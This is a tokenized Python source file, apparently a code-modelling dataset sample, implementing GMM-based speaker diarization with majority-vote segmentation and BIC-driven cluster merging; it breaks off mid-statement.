"=_", "gmm", "_", "._", "components_", "._", "weights_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gmm", "\\u", "f_", "._", "write_", "(_", "\"", "Number", " ", "of", " ", "Gaussian", "s", ":", " ", "\"_", "+_", "str_", "(_", "gmm", "_", "._", "M_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gmm", "\\u", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "g_", "in_", "range_", "(_", "0_", ",_", "gmm", "_", "._", "M_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g", "\\u", "means_", "=_", "means_", "[_", "gmm", "\\u", "count_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "covar", "\\u", "full_", "=_", "covar", "s_", "[_", "gmm", "\\u", "count_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "covar", "_", "=_", "np_", "._", "diag_", "(_", "g", "\\u", "covar", "\\u", "full_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "weight_", "=_", "weights_", "[_", "gmm", "\\u", "count_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gmm", "\\u", "f_", "._", "write_", "(_", "\"", "Gaussian", ":", " ", "\"_", "+_", "str_", "(_", "gmm", "\\u", "count_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gmm", "\\u", "f_", "._", "write_", "(_", "\"", "Weig", "ht", ":", " ", "\"_", "+_", "str_", "(_", "g", "\\u", "weight_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "f_", "in_", "range_", "(_", "0_", ",_", "gmm", "_", "._", "D_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "gmm", "\\u", "f_", "._", "write_", "(_", "\"", "Feature", " ", "\"_", "+_", "str_", "(_", "f_", ")_", "+_", "\"", " ", "Mea", "n", " ", "\"_", "+_", "str_", "(_", "g", "\\u", "means_", "[_", "f_", "]_", ")_", "+_", "\"", " ", "Var", " ", "\"_", "+_", "str_", "(_", "g", "\\u", "covar", "_", "[_", "f_", "]_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "gmm", "\\u", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cluster", "\\u", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "DON", "E", " ", "writ", "ing", " ", "GM", "M", " ", "file", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dia", "rize", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "new", "\\u", "gmm", "_", "(_", "self_", ",_", "M_", ",_", "cvt", "ype_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "M_", "=_", "M_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gmm", "_", "=_", "GM", "M_", "(_", "self_", "._", "M_", ",_", "self_", "._", "D_", ",_", "cvt", "ype_", "=_", "cvt", "ype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dia", "rize", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "new", "\\u", "gmm", "\\u", "list_", "(_", "self_", ",_", "M_", ",_", "K_", ",_", "cvt", "ype_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "M_", "=_", "M_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "init", "\\u", "num", "\\u", "clusters_", "=_", "K_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gmm", "\\u", "list_", "=_", "[_", "GM", "M_", "(_", "self_", "._", "M_", ",_", "self_", "._", "D_", ",_", "cvt", "ype_", "=_", "cvt", "ype_", ")_", "for_", "i_", "in_", "range_", "(_", "K_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dia", "rize", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "segment", "\\u", "major", "it", "y", "\\u", "vote_", "(_", "self_", ",_", "interval", "\\u", "size_", ",_", "em", "\\u", "iters_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "clusters_", "=_", "len_", "(_", "self_", "._", "gmm", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Rese", "gment", " ", "data", " ", "based", " ", "on", " ", "likelihood", " ", "scoring_", "\\u\\u\\uNL\\u\\u\\u_", "likelihood", "s_", "=_", "self_", "._", "gmm", "\\u", "list_", "[_", "0_", "]_", "._", "score_", "(_", "self_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "g_", "in_", "self_", "._", "gmm", "\\u", "list_", "[_", "1_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "likelihood", "s_", "=_", "np_", "._", "column", "\\u", "stack_", "(_", "(_", "likelihood", "s_", ",_", "g_", "._", "score_", "(_", "self_", "._", "X_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "num", "\\u", "clusters_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "most", "\\u", "like", "ly_", "=_", "np_", "._", "zeros_", "(_", "len_", "(_", "self_", "._", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "most", "\\u", "like", "ly_", "=_", "likelihood", "s_", "._", "argmax_", "(_", "axis_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Acr", "oss", " ", "2.5", " ", "secs", " ", "of", " ", "observa", "tion", "s", ",", " ", "vote", " ", "on", " ", "whi", "ch", " ", "cluster", " ", "the", "y", " ", "shou", "ld", " ", "be", " ", "associate", "d", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "iter", "\\u", "training_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "interval", "\\u", "size_", ",_", "self_", "._", "N_", ",_", "interval", "\\u", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arr_", "=_", "np_", "._", "array_", "(_", "most", "\\u", "like", "ly_", "[_", "(_", "range_", "(_", "i_", "-_", "interval", "\\u", "size_", ",_", "i_", ")_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "gmm", "_", "=_", "int_", "(_", "stats_", "._", "mode_", "(_", "arr_", ")_", "[_", "0_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iter", "\\u", "training_", "._", "setdefault_", "(_", "(_", "self_", "._", "gmm", "\\u", "list_", "[_", "max", "\\u", "gmm", "_", "]_", ",_", "max", "\\u", "gmm", "_", ")_", ",_", "[_", "]_", ")_", "._", "append_", "(_", "self_", "._", "X_", "[_", "i_", "-_", "interval", "\\u", "size_", ":_", "i_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arr_", "=_", "np_", "._", "array_", "(_", "most", "\\u", "like", "ly_", "[_", "(_", "range_", "(_", "(_", "self_", "._", "N_", "/_", "interval", "\\u", "size_", ")_", "*_", "interval", "\\u", "size_", ",_", "self_", "._", "N_", ")_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "gmm", "_", "=_", "int_", "(_", "stats_", "._", "mode_", "(_", "arr_", ")_", "[_", "0_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iter", "\\u", "training_", "._", "setdefault_", "(_", "(_", "self_", "._", "gmm", "\\u", "list_", "[_", "max", "\\u", "gmm", "_", "]_", ",_", "max", "\\u", "gmm", "_", ")_", ",_", "[_", "]_", ")_", "._", "append_", "(_", "self_", "._", "X_", "[_", "(_", "self_", "._", "N_", "/_", "interval", "\\u", "size_", ")_", "*_", "interval", "\\u", "size_", ":_", "self_", "._", "N_", ",_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "iter", "\\u", "bic", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iter", "\\u", "bic", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "each", " ", "gmm", ",", " ", "append", " ", "all", " ", "the", " ", "segments", " ", "and", " ", "retra", "in_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "gp_", ",_", "data\\u", "list_", "in_", "iter", "\\u", "training_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "=_", "gp_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "gp_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cluster", "\\u", "data_", "=_", "data\\u", "list_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "d_", "in_", "data\\u", "list_", "[_", "1_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cluster", "\\u", "data_", "=_", "np_", "._", "concatenate_", "(_", "(_", "cluster", "\\u", "data_", ",_", "d_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "g_", "._", "train_", "(_", "cluster", "\\u", "data_", ",_", "max", "\\u", "em", "\\u", "iters_", "=_", "em", "\\u", "iters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "iter", "\\u", "bic", "\\u", "list_", "._", "append_", "(_", "(_", "g_", ",_", "cluster", "\\u", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iter", "\\u", "bic", "\\u", "dict_", "[_", "p_", "]_", "=_", "cluster", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "iter", "\\u", "bic", "\\u", "dict_", ",_", "iter", "\\u", "bic", "\\u", "list_", ",_", "most", "\\u", "like", "ly_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dia", "rize", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cluster_", "(_", "self_", ",_", "em", "\\u", "iters_", ",_", "KL", "\\u", "nto", "p_", ",_", "NUM", "\\u", "SEG", "\\u", "LOOP", "S", "\\u", "INIT", "_", ",_", "NUM", "\\u", "SEG", "\\u", "LOOP", "S_", ",_", "seg", "\\u", "length_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "==============", "=======", "=", " ", "CLUSTER", "ING", " ", "==============", "=======", "=", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "main", "\\u", "start_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----------", " ", "Uniform", " ", "Initializ", "ation", " ", "-----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "events", ",", " ", "divide", " ", "them", " ", "int", "o", " ", "an", " ", "initial", " ", "k", " ", "cluster", "s", " ", "and", " ", "train", " ", "each", " ", "GM", "M", " ", "on", " ", "a", " ", "cluster_", "\\u\\u\\uNL\\u\\u\\u_", "per", "\\u", "cluster_", "=_", "self_", "._", "N_", "/_", "self_", "._", "init", "\\u", "num", "\\u", "clusters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "init", "\\u", "training_", "=_", "zip_", "(_", "self_", "._", "gmm", "\\u", "list_", ",_", "np_", "._", "vsp", "lit_", "(_", "self_", "._", "X_", ",_", "range_", "(_", "per", "\\u", "cluster_", ",_", "self_", "._", "N_", ",_", "per", "\\u", "cluster_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "g_", ",_", "x_", "in_", "init", "\\u", "training_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "._", "train_", "(_", "x_", ",_", "max", "\\u", "em", "\\u", "iters_", "=_", "em", "\\u", "iters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----------", " ", "Fi", "rst", " ", "major", "it", "y", " ", "vote", " ", "segmentation", " ", "loop", " ", "---------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "segment", "\\u", "iter_", "in_", "range_", "(_", "0_", ",_", "NUM", "\\u", "SEG", "\\u", "LOOP", "S", "\\u", "INIT", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iter", "\\u", "bic", "\\u", "dict_", ",_", "iter", "\\u", "bic", "\\u", "list_", ",_", "most", "\\u", "like", "ly_", "=_", "self_", "._", "segment", "\\u", "major", "it", "y", "\\u", "vote_", "(_", "seg", "\\u", "length_", ",_", "em", "\\u", "iters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----------", " ", "Main", " ", "Clustering", " ", "Loop", " ", "usi", "ng", " ", "BIC", " ", "------------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Perform", " ", "hierarchical", " ", "agg", "lom", "eratio", "n", " ", "based", " ", "on", " ", "BIC", " ", "scores_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "best", "\\u", "BIC", "\\u", "score_", "=_", "1.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total", "\\u", "events_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total", "\\u", "loops_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "best", "\\u", "BIC", "\\u", "score_", ">_", "0_", "and_", "len_", "(_", "self_", "._", "gmm", "\\u", "list_", ")_", ">_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "total", "\\u", "loops_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "segment", "\\u", "iter_", "in_", "range_", "(_", "0_", ",_", "NUM", "\\u", "SEG", "\\u", "LOOP", "S_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iter", "\\u", "bic", "\\u", "dict_", ",_", "iter", "\\u", "bic", "\\u", "list_", ",_", "most", "\\u", "like", "ly_", "=_", "self_", "._", "segment", "\\u", "major", "it", "y", "\\u", "vote_", "(_", "seg", "\\u", "length_", ",_", "em", "\\u", "iters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Score", " ", "all", " ", "pair", "s", " ", "of", " ", "GM", "Ms", " ", "usi", "ng", " ", "BIC", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "best", "\\u", "merge", "d\\u", "gmm", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "BIC", "\\u", "score_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "tuple_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "tuple", "\\u", "indices_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-------", " ", "KL", " ", "distance", " ", "to", " ", "compute", " ", "best", " ", "pair", "s", " ", "to", " ", "merge", " ", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "KL", "\\u", "nto", "p_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "top", "\\u", "K", "\\u", "gmm", "\\u", "pairs_", "=_", "self_", "._", "gmm", "\\u", "list_", "[_", "0_", "]_", "._", "find", "\\u", "top", "\\u", "KL", "\\u", "pairs_", "(_", "KL", "\\u", "nto", "p_", ",_", "self_", "._", "gmm", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "pair_", "in_", "top", "\\u", "K", "\\u", "gmm", "\\u", "pairs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "score_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gmm", "1i", "dx_", "=_", "pair_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gmm", "2i", "dx_", "=_", "pair_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1_", "=_", "self_", "._", "gmm", "\\u", "list_", "[_", "gmm", "1i", "dx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2_", "=_", "self_", "._", "gmm", "\\u", "list_", "[_", "gmm", "2i", "dx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "gmm", "1i", "dx_", "in_", "iter", "\\u", "bic", "\\u", "dict_", "and_", "gmm", "2i", "dx_", "in_", "iter", "\\u", "bic", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "d1_", "=_", "iter", "\\u", "bic", "\\u", "dict_", "[_", "gmm", "1i", "dx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d2_", "=_", "iter", "\\u", "bic", "\\u", "dict_", "[_", "gmm", "2i", "dx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "np_", "._", "concatenate_", "(_", "(_", "d1_", ",_", "d2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "gmm", "1i", "dx_", "in_", "iter", "\\u", "bic", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "data_", "=_", "iter", "\\u", "bic", "\\u", "dict_", "[_", "gmm", "1i", "dx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "gmm", "2i", "dx_", "in_", "iter", "\\u", "bic", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "data_", "=_", "iter", "\\u", "bic", "\\u", "dict_", "[_", "gmm", "2i", "dx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "gmm", "_", ",_", "score_", "=_", "compute", "\\u", "distance", "\\u", "BIC", "_", "(_", "g1_", ",_", "g2_", ",_", "data_", ",_", "em", "\\u", "iters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "Compari", "ng", " ", "BIC", " ", "%", "d", " ", "with", " ", "%", "d", ":", " ", "%", "f", "\"", " ", "%", " ", "(", "gmm", "1i", "dx", ",", " ", "gmm", "2i", "dx", ",", " ", "score", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "score_", ">_", "best", "\\u", "BIC", "\\u", "score_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "best", "\\u", "merge", "d\\u", "gmm", "_", "=_", "new", "\\u", "gmm", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "tuple_", "=_", "(_", "g1_", ",_", "g2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "tuple", "\\u", "indices_", "=_", "(_", "gmm", "1i", "dx_", ",_", "gmm", "2i", "dx_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "BIC", "\\u", "score_", "=_", "score_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-------", " ", "All", "-", "to", "-", "all", " ", "compa", "ris", "on", " ", "of", " ", "gmm", "s", " ", "to", " ", "merge", " ", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", "=_", "len_", "(_", "iter", "\\u", "bic", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "gmm", "1i", "dx_", "in_", "range_", "(_", "l_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "gmm", "2i", "dx_", "in_", "range_", "(_", "gmm", "1i", "dx_", "+_", "1_", ",_", "l_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "score_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1_", ",_", "d1_", "=_", "iter", "\\u", "bic", "\\u", "list_", "[_", "gmm", "1i", "dx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2_", ",_", "d2_", "=_", "iter", "\\u", "bic", "\\u", "list_", "[_", "gmm", "2i", "dx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "np_", "._", "concatenate_", "(_", "(_", "d1_", ",_", "d2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "gmm", "_", ",_", "score_", "=_", "compute", "\\u", "distance", "\\u", "BIC", "_", "(_", "g1_", ",_", "g2_", ",_", "data_", ",_", "em", "\\u", "iters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "Compari", "ng", " ", "BIC", " ", "%", "d", " ", "with", " ", "%", "d", ":", " ", "%", "f", "\"", " ", "%", " ", "(", "gmm", "1i", "dx", ",", " ", "gmm", "2i", "dx", ",", " ", "score", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "score_", ">_", "best", "\\u", "BIC", "\\u", "score_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "best", "\\u", "merge", "d\\u", "gmm", "_", "=_", "new", "\\u", "gmm", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "tuple_", "=_", "(_", "g1_", ",_", "g2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "d\\u", "tuple", "\\u", "indices_", "=_", "(_", "gmm", "1i", "dx_", ",_", "gmm", "2i", "dx_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "best", "\\u", "BIC", "\\u", "score_", "=_", "score_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Merge", " ", "the", " ", "winning", " ", "candidate", " ", "pair", " ", "if", " ", "its", " ", "der", "iable", " ", "to", " ", "do", " ", "so_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "best", "\\u", "BIC", "\\u", "score_", ">_", "0.0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gmm", "s", "\\u", "with", "\\u", "events_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "gp_", "in_", "iter", "\\u", "bic", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "gmm", "s", "\\u", "with", "\\u", "events_", "._", "append_", "(_", "gp_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "clean", "up", " ", "the", " ", "gmm", "\\u", "list", " ", "-", " ", "remove", " ", "empty", " ", "gmm", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "g_", "in_", "self_", "._", "gmm", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "g_", "not_", "in_", "gmm", "s", "\\u", "with", "\\u", "events_", "and_", "g_", "!=_", "merge", "d\\u", "tuple_", "[_", "0_", "]_", "and_", "g_", "!=_", "merge", "d\\u", "tuple_", "[_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "remove_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "gmm", "\\u", "list_", "._", "remove_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "gmm", "\\u", "list_", "._", "remove_", "(_", "merge", "d\\u", "tuple_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gmm", "\\u", "list_", "._", "remove_", "(_", "merge", "d\\u", "tuple_", "[_", 